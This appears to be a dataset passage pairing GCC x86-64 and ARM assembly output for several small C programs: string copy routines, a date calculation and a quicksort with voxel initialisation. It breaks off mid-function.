.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "527590.c"
.intel_syntax noprefix
.text
.globl ft_strcpy
.type ft_strcpy, @function
ft_strcpy:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -4[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -4[rbp]
movsx rdx, eax
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov edx, DWORD PTR -4[rbp]
movsx rcx, edx
mov rdx, QWORD PTR -24[rbp]
add rdx, rcx
movzx eax, BYTE PTR [rax]
mov BYTE PTR [rdx], al
add DWORD PTR -4[rbp], 1
.L2:
mov eax, DWORD PTR -4[rbp]
movsx rdx, eax
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movzx eax, BYTE PTR [rax]
test al, al
jne .L3
mov eax, DWORD PTR -4[rbp]
movsx rdx, eax
mov rax, QWORD PTR -24[rbp]
add rax, rdx
mov BYTE PTR [rax], 0
mov rax, QWORD PTR -24[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size ft_strcpy, .-ft_strcpy
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "527590.c"
.text
.align 2
.global ft_strcpy
.syntax unified
.arm
.fpu softvfp
.type ft_strcpy, %function
ft_strcpy:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
str r1, [fp, #-20]
mov r3, #0
str r3, [fp, #-8]
b .L2
.L3:
ldr r3, [fp, #-8]
ldr r2, [fp, #-20]
add r2, r2, r3
ldr r3, [fp, #-8]
ldr r1, [fp, #-16]
add r3, r1, r3
ldrb r2, [r2] @ zero_extendqisi2
strb r2, [r3]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L2:
ldr r3, [fp, #-8]
ldr r2, [fp, #-20]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L3
ldr r3, [fp, #-8]
ldr r2, [fp, #-16]
add r3, r2, r3
mov r2, #0
strb r2, [r3]
ldr r3, [fp, #-16]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size ft_strcpy, .-ft_strcpy
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "147472.c"
.intel_syntax noprefix
.text
.globl foo
.type foo, @function
foo:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov QWORD PTR -24[rbp], rdi
mov DWORD PTR -28[rbp], esi
cmp DWORD PTR -28[rbp], 0
je .L2
mov edi, 123
call bar@PLT
jmp .L3
.L2:
mov edi, 321
call bar@PLT
.L3:
mov rax, QWORD PTR -24[rbp]
mov eax, DWORD PTR [rax]
mov DWORD PTR -4[rbp], eax
cmp QWORD PTR -24[rbp], 0
jne .L4
mov eax, 0
jmp .L5
.L4:
mov eax, DWORD PTR -4[rbp]
.L5:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size foo, .-foo
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "147472.c"
.text
.align 2
.global foo
.syntax unified
.arm
.fpu softvfp
.type foo, %function
foo:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
str r0, [fp, #-16]
str r1, [fp, #-20]
ldr r3, [fp, #-20]
cmp r3, #0
beq .L2
mov r0, #123
bl bar
b .L3
.L2:
ldr r0, .L6
bl bar
.L3:
ldr r3, [fp, #-16]
ldr r3, [r3]
str r3, [fp, #-8]
ldr r3, [fp, #-16]
cmp r3, #0
bne .L4
mov r3, #0
b .L5
.L4:
ldr r3, [fp, #-8]
.L5:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L7:
.align 2
.L6:
.word 321
.size foo, .-foo
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "286951.c"
.intel_syntax noprefix
.text
.globl copiarString
.type copiarString, @function
copiarString:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -8[rbp], rdi
mov QWORD PTR -16[rbp], rsi
jmp .L2
.L3:
mov rax, QWORD PTR -8[rbp]
movzx edx, BYTE PTR [rax]
mov rax, QWORD PTR -16[rbp]
mov BYTE PTR [rax], dl
add QWORD PTR -8[rbp], 1
add QWORD PTR -16[rbp], 1
.L2:
mov rax, QWORD PTR -8[rbp]
movzx eax, BYTE PTR [rax]
test al, al
jne .L3
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size copiarString, .-copiarString
.section .rodata
.LC0:
.string "frase 1 = %s \n frase 2 = %s \n"
.text
.globl main
.type main, @function
main:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
movabs rax, 8295752977866585445
movabs rdx, 7956003919075767663
mov QWORD PTR -64[rbp], rax
mov QWORD PTR -56[rbp], rdx
mov WORD PTR -48[rbp], 8303
mov BYTE PTR -46[rbp], 0
lea rdx, -32[rbp]
lea rax, -64[rbp]
mov rsi, rdx
mov rdi, rax
call copiarString
lea rdx, -32[rbp]
lea rax, -64[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L6
call __stack_chk_fail@PLT
.L6:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "286951.c"
.text
.align 2
.global copiarString
.syntax unified
.arm
.fpu softvfp
.type copiarString, %function
copiarString:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
str r0, [fp, #-8]
str r1, [fp, #-12]
b .L2
.L3:
ldr r3, [fp, #-8]
ldrb r2, [r3] @ zero_extendqisi2
ldr r3, [fp, #-12]
strb r2, [r3]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L2:
ldr r3, [fp, #-8]
ldrb r3, [r3] @ zero_extendqisi2
cmp r3, #0
bne .L3
nop
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size copiarString, .-copiarString
.section .rodata
.align 2
.LC1:
.ascii "frase 1 = %s \012 frase 2 = %s \012\000"
.align 2
.LC0:
.ascii "eu nao sou digino \000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #48
ldr r3, .L7
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L7+4
sub ip, fp, #48
mov lr, r3
ldmia lr!, {r0, r1, r2, r3}
stmia ip!, {r0, r1, r2, r3}
ldr r3, [lr]
strh r3, [ip] @ movhi
add ip, ip, #2
lsr r3, r3, #16
strb r3, [ip]
sub r2, fp, #28
sub r3, fp, #48
mov r1, r2
mov r0, r3
bl copiarString
sub r2, fp, #28
sub r3, fp, #48
mov r1, r3
ldr r0, .L7+8
bl printf
mov r3, #0
ldr r2, .L7
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L6
bl __stack_chk_fail
.L6:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L8:
.align 2
.L7:
.word .LC2
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "430721.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%d %d %d"
.LC3:
.string "%d\n"
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rcx, -36[rbp]
lea rdx, -40[rbp]
lea rax, -44[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -40[rbp]
cmp eax, 2
jg .L2
mov eax, DWORD PTR -44[rbp]
sub eax, 1
mov DWORD PTR -44[rbp], eax
mov eax, DWORD PTR -40[rbp]
add eax, 12
mov DWORD PTR -40[rbp], eax
.L2:
mov eax, DWORD PTR -44[rbp]
movsx rdx, eax
imul rdx, rdx, 1374389535
shr rdx, 32
sar edx, 5
sar eax, 31
mov ecx, eax
mov eax, edx
sub eax, ecx
mov DWORD PTR -24[rbp], eax
mov eax, DWORD PTR -24[rbp]
lea edx, 3[rax]
test eax, eax
cmovs eax, edx
sar eax, 2
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -36[rbp]
cmp eax, 14
jg .L3
mov eax, DWORD PTR -40[rbp]
cmp eax, 9
jg .L3
mov eax, DWORD PTR -44[rbp]
cmp eax, 1581
jg .L3
mov DWORD PTR -32[rbp], 0
jmp .L4
.L3:
mov eax, 2
sub eax, DWORD PTR -24[rbp]
mov edx, eax
mov eax, DWORD PTR -20[rbp]
add eax, edx
mov DWORD PTR -32[rbp], eax
.L4:
mov eax, DWORD PTR -44[rbp]
add eax, 4716
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC1[rip]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -40[rbp]
add eax, 1
pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR .LC2[rip]
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov DWORD PTR -12[rbp], eax
mov eax, DWORD PTR -36[rbp]
cmp eax, 14
jg .L5
mov eax, DWORD PTR -40[rbp]
cmp eax, 9
jg .L5
mov eax, DWORD PTR -44[rbp]
cmp eax, 1581
jg .L5
mov edx, DWORD PTR -16[rbp]
mov eax, DWORD PTR -12[rbp]
add edx, eax
mov eax, DWORD PTR -36[rbp]
add edx, eax
mov eax, DWORD PTR -32[rbp]
add eax, edx
sub eax, 1534
mov DWORD PTR -28[rbp], eax
jmp .L6
.L5:
mov edx, DWORD PTR -16[rbp]
mov eax, DWORD PTR -12[rbp]
add edx, eax
mov eax, DWORD PTR -36[rbp]
add edx, eax
mov eax, DWORD PTR -32[rbp]
add eax, edx
sub eax, 1524
mov DWORD PTR -28[rbp], eax
.L6:
mov eax, DWORD PTR -28[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L8
call __stack_chk_fail@PLT
.L8:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 8
.LC1:
.long 0
.long 1081529344
.align 8
.LC2:
.long 659706977
.long 1077844384
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "430721.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%d %d %d\000"
.global __aeabi_i2d
.global __aeabi_dmul
.global __aeabi_d2iz
.align 2
.LC1:
.ascii "%d\012\000"
.align 2
.LC2:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
ldr r3, .L9
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
sub r3, fp, #36
sub r2, fp, #40
sub r1, fp, #44
ldr r0, .L9+4
bl __isoc99_scanf
ldr r3, [fp, #-40]
cmp r3, #2
bgt .L2
ldr r3, [fp, #-44]
sub r3, r3, #1
str r3, [fp, #-44]
ldr r3, [fp, #-40]
add r3, r3, #12
str r3, [fp, #-40]
.L2:
ldr r3, [fp, #-44]
ldr r2, .L9+8
smull r1, r2, r3, r2
asr r2, r2, #5
asr r3, r3, #31
sub r3, r2, r3
str r3, [fp, #-24]
ldr r3, [fp, #-24]
add r2, r3, #3
cmp r3, #0
movlt r3, r2
movge r3, r3
asr r3, r3, #2
str r3, [fp, #-20]
ldr r3, [fp, #-36]
cmp r3, #14
bgt .L3
ldr r3, [fp, #-40]
cmp r3, #9
bgt .L3
ldr r3, [fp, #-44]
ldr r2, .L9+12
cmp r3, r2
bgt .L3
mov r3, #0
str r3, [fp, #-32]
b .L4
.L3:
ldr r3, [fp, #-24]
rsb r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
str r3, [fp, #-32]
.L4:
ldr r3, [fp, #-44]
add r3, r3, #4672
add r3, r3, #44
mov r0, r3
bl __aeabi_i2d
mov r2, #0
ldr r3, .L9+16
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-16]
ldr r3, [fp, #-40]
add r3, r3, #1
mov r0, r3
bl __aeabi_i2d
ldr r2, .L9+20
ldr r3, .L9+24
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-12]
ldr r3, [fp, #-36]
cmp r3, #14
bgt .L5
ldr r3, [fp, #-40]
cmp r3, #9
bgt .L5
ldr r3, [fp, #-44]
ldr r2, .L9+12
cmp r3, r2
bgt .L5
ldr r2, [fp, #-16]
ldr r3, [fp, #-12]
add r2, r2, r3
ldr r3, [fp, #-36]
add r2, r2, r3
ldr r3, [fp, #-32]
add r3, r2, r3
sub r3, r3, #1520
sub r3, r3, #14
str r3, [fp, #-28]
b .L6
.L5:
ldr r2, [fp, #-16]
ldr r3, [fp, #-12]
add r2, r2, r3
ldr r3, [fp, #-36]
add r2, r2, r3
ldr r3, [fp, #-32]
add r3, r2, r3
sub r3, r3, #1520
sub r3, r3, #4
str r3, [fp, #-28]
.L6:
ldr r1, [fp, #-28]
ldr r0, .L9+28
bl printf
mov r3, #0
ldr r2, .L9
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L8
bl __stack_chk_fail
.L8:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L10:
.align 2
.L9:
.word .LC2
.word .LC0
.word 1374389535
.word 1581
.word 1081529344
.word 659706977
.word 1077844384
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "24035.c"
.intel_syntax noprefix
.text
.globl find_pivot
.type find_pivot, @function
find_pivot:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -152[rbp], rdi
mov QWORD PTR -160[rbp], rsi
mov QWORD PTR -168[rbp], rdx
mov rcx, QWORD PTR -152[rbp]
mov rax, QWORD PTR [rcx]
mov rdx, QWORD PTR 8[rcx]
mov QWORD PTR -128[rbp], rax
mov QWORD PTR -120[rbp], rdx
mov rax, QWORD PTR 16[rcx]
mov rdx, QWORD PTR 24[rcx]
mov QWORD PTR -112[rbp], rax
mov QWORD PTR -104[rbp], rdx
mov rax, QWORD PTR -160[rbp]
sub rax, QWORD PTR -152[rbp]
sar rax, 5
mov rdx, rax
shr rdx, 63
add rax, rdx
sar rax
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -152[rbp]
lea rcx, [rdx+rax]
mov rax, QWORD PTR [rcx]
mov rdx, QWORD PTR 8[rcx]
mov QWORD PTR -96[rbp], rax
mov QWORD PTR -88[rbp], rdx
mov rax, QWORD PTR 16[rcx]
mov rdx, QWORD PTR 24[rcx]
mov QWORD PTR -80[rbp], rax
mov QWORD PTR -72[rbp], rdx
mov rcx, QWORD PTR -160[rbp]
mov rax, QWORD PTR [rcx]
mov rdx, QWORD PTR 8[rcx]
mov QWORD PTR -64[rbp], rax
mov QWORD PTR -56[rbp], rdx
mov rax, QWORD PTR 16[rcx]
mov rdx, QWORD PTR 24[rcx]
mov QWORD PTR -48[rbp], rax
mov QWORD PTR -40[rbp], rdx
movsd xmm0, QWORD PTR -128[rbp]
movsd xmm1, QWORD PTR -96[rbp]
comisd xmm0, xmm1
jbe .L2
mov rax, QWORD PTR -128[rbp]
mov rdx, QWORD PTR -120[rbp]
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov rax, QWORD PTR -112[rbp]
mov rdx, QWORD PTR -104[rbp]
mov QWORD PTR -16[rbp], rax
mov QWORD PTR -8[rbp], rdx
mov rax, QWORD PTR -96[rbp]
mov rdx, QWORD PTR -88[rbp]
mov QWORD PTR -128[rbp], rax
mov QWORD PTR -120[rbp], rdx
mov rax, QWORD PTR -80[rbp]
mov rdx, QWORD PTR -72[rbp]
mov QWORD PTR -112[rbp], rax
mov QWORD PTR -104[rbp], rdx
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -24[rbp]
mov QWORD PTR -96[rbp], rax
mov QWORD PTR -88[rbp], rdx
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR -80[rbp], rax
mov QWORD PTR -72[rbp], rdx
.L2:
movsd xmm0, QWORD PTR -128[rbp]
movsd xmm1, QWORD PTR -64[rbp]
comisd xmm0, xmm1
jbe .L4
mov rax, QWORD PTR -128[rbp]
mov rdx, QWORD PTR -120[rbp]
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov rax, QWORD PTR -112[rbp]
mov rdx, QWORD PTR -104[rbp]
mov QWORD PTR -16[rbp], rax
mov QWORD PTR -8[rbp], rdx
mov rax, QWORD PTR -64[rbp]
mov rdx, QWORD PTR -56[rbp]
mov QWORD PTR -128[rbp], rax
mov QWORD PTR -120[rbp], rdx
mov rax, QWORD PTR -48[rbp]
mov rdx, QWORD PTR -40[rbp]
mov QWORD PTR -112[rbp], rax
mov QWORD PTR -104[rbp], rdx
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -24[rbp]
mov QWORD PTR -64[rbp], rax
mov QWORD PTR -56[rbp], rdx
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR -48[rbp], rax
mov QWORD PTR -40[rbp], rdx
.L4:
movsd xmm0, QWORD PTR -96[rbp]
movsd xmm1, QWORD PTR -64[rbp]
comisd xmm0, xmm1
jbe .L6
mov rax, QWORD PTR -96[rbp]
mov rdx, QWORD PTR -88[rbp]
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov rax, QWORD PTR -80[rbp]
mov rdx, QWORD PTR -72[rbp]
mov QWORD PTR -16[rbp], rax
mov QWORD PTR -8[rbp], rdx
mov rax, QWORD PTR -64[rbp]
mov rdx, QWORD PTR -56[rbp]
mov QWORD PTR -96[rbp], rax
mov QWORD PTR -88[rbp], rdx
mov rax, QWORD PTR -48[rbp]
mov rdx, QWORD PTR -40[rbp]
mov QWORD PTR -80[rbp], rax
mov QWORD PTR -72[rbp], rdx
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -24[rbp]
mov QWORD PTR -64[rbp], rax
mov QWORD PTR -56[rbp], rdx
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR -48[rbp], rax
mov QWORD PTR -40[rbp], rdx
.L6:
movsd xmm1, QWORD PTR -128[rbp]
movsd xmm0, QWORD PTR -96[rbp]
comisd xmm0, xmm1
jbe .L28
movsd xmm0, QWORD PTR -96[rbp]
mov rax, QWORD PTR -168[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, 0
jmp .L20
.L28:
movsd xmm1, QWORD PTR -96[rbp]
movsd xmm0, QWORD PTR -64[rbp]
comisd xmm0, xmm1
jbe .L29
movsd xmm0, QWORD PTR -64[rbp]
mov rax, QWORD PTR -168[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, 0
jmp .L20
.L29:
mov rax, QWORD PTR -152[rbp]
add rax, 32
mov QWORD PTR -136[rbp], rax
jmp .L13
.L19:
mov rax, QWORD PTR -136[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -152[rbp]
movsd xmm1, QWORD PTR [rax]
ucomisd xmm0, xmm1
jp .L26
comisd xmm0, xmm1
je .L30
.L26:
mov rax, QWORD PTR -136[rbp]
movsd xmm1, QWORD PTR [rax]
mov rax, QWORD PTR -152[rbp]
movsd xmm0, QWORD PTR [rax]
comisd xmm0, xmm1
jbe .L31
mov rax, QWORD PTR -152[rbp]
movsd xmm0, QWORD PTR [rax]
jmp .L18
.L31:
mov rax, QWORD PTR -136[rbp]
movsd xmm0, QWORD PTR [rax]
.L18:
mov rax, QWORD PTR -168[rbp]
movsd QWORD PTR [rax], xmm0
mov eax, 0
jmp .L20
.L30:
add QWORD PTR -136[rbp], 32
.L13:
mov rax, QWORD PTR -136[rbp]
cmp rax, QWORD PTR -160[rbp]
jbe .L19
mov eax, 1
.L20:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size find_pivot, .-find_pivot
.globl partition
.type partition, @function
partition:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
movsd QWORD PTR -56[rbp], xmm0
jmp .L33
.L35:
add QWORD PTR -40[rbp], 32
.L34:
mov rax, QWORD PTR -40[rbp]
movsd xmm1, QWORD PTR [rax]
movsd xmm0, QWORD PTR -56[rbp]
comisd xmm0, xmm1
ja .L35
jmp .L36
.L37:
sub QWORD PTR -48[rbp], 32
.L36:
mov rax, QWORD PTR -48[rbp]
movsd xmm0, QWORD PTR [rax]
comisd xmm0, QWORD PTR -56[rbp]
jnb .L37
mov rax, QWORD PTR -40[rbp]
cmp rax, QWORD PTR -48[rbp]
jnb .L33
mov rcx, QWORD PTR -40[rbp]
mov rax, QWORD PTR [rcx]
mov rdx, QWORD PTR 8[rcx]
mov QWORD PTR -32[rbp], rax
mov QWORD PTR -24[rbp], rdx
mov rax, QWORD PTR 16[rcx]
mov rdx, QWORD PTR 24[rcx]
mov QWORD PTR -16[rbp], rax
mov QWORD PTR -8[rbp], rdx
mov rcx, QWORD PTR -40[rbp]
mov rsi, QWORD PTR -48[rbp]
mov rax, QWORD PTR [rsi]
mov rdx, QWORD PTR 8[rsi]
mov QWORD PTR [rcx], rax
mov QWORD PTR 8[rcx], rdx
mov rax, QWORD PTR 16[rsi]
mov rdx, QWORD PTR 24[rsi]
mov QWORD PTR 16[rcx], rax
mov QWORD PTR 24[rcx], rdx
mov rcx, QWORD PTR -48[rbp]
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -24[rbp]
mov QWORD PTR [rcx], rax
mov QWORD PTR 8[rcx], rdx
mov rax, QWORD PTR -16[rbp]
mov rdx, QWORD PTR -8[rbp]
mov QWORD PTR 16[rcx], rax
mov QWORD PTR 24[rcx], rdx
add QWORD PTR -40[rbp], 32
sub QWORD PTR -48[rbp], 32
.L33:
mov rax, QWORD PTR -40[rbp]
cmp rax, QWORD PTR -48[rbp]
jbe .L34
mov rax, QWORD PTR -40[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size partition, .-partition
.globl quicker_sort
.type quicker_sort, @function
quicker_sort:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov QWORD PTR -48[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdx, -24[rbp]
mov rcx, QWORD PTR -48[rbp]
mov rax, QWORD PTR -40[rbp]
mov rsi, rcx
mov rdi, rax
call find_pivot
test eax, eax
jne .L43
mov rcx, QWORD PTR -24[rbp]
mov rdx, QWORD PTR -48[rbp]
mov rax, QWORD PTR -40[rbp]
movq xmm0, rcx
mov rsi, rdx
mov rdi, rax
call partition
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -16[rbp]
lea rdx, -32[rax]
mov rax, QWORD PTR -40[rbp]
mov rsi, rdx
mov rdi, rax
call quicker_sort
mov rdx, QWORD PTR -48[rbp]
mov rax, QWORD PTR -16[rbp]
mov rsi, rdx
mov rdi, rax
call quicker_sort
.L43:
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L42
call __stack_chk_fail@PLT
.L42:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size quicker_sort, .-quicker_sort
.globl initialiseVOXELs
.type initialiseVOXELs, @function
initialiseVOXELs:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 96
mov QWORD PTR -56[rbp], rdi
mov QWORD PTR -64[rbp], rsi
mov QWORD PTR -72[rbp], rdx
mov QWORD PTR -80[rbp], rcx
mov DWORD PTR -84[rbp], r8d
mov DWORD PTR -88[rbp], r9d
mov rax, QWORD PTR -80[rbp]
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -56[rbp]
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -64[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -72[rbp]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -44[rbp], 0
jmp .L45
.L50:
mov DWORD PTR -40[rbp], 0
jmp .L46
.L49:
mov DWORD PTR -36[rbp], 0
jmp .L47
.L48:
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR [rax], 0
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR 4[rax], 1
mov rax, QWORD PTR -24[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -32[rbp]
movsd QWORD PTR 8[rax], xmm0
call rand@PLT
add eax, 9999999
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov rax, QWORD PTR -32[rbp]
movsd QWORD PTR 16[rax], xmm0
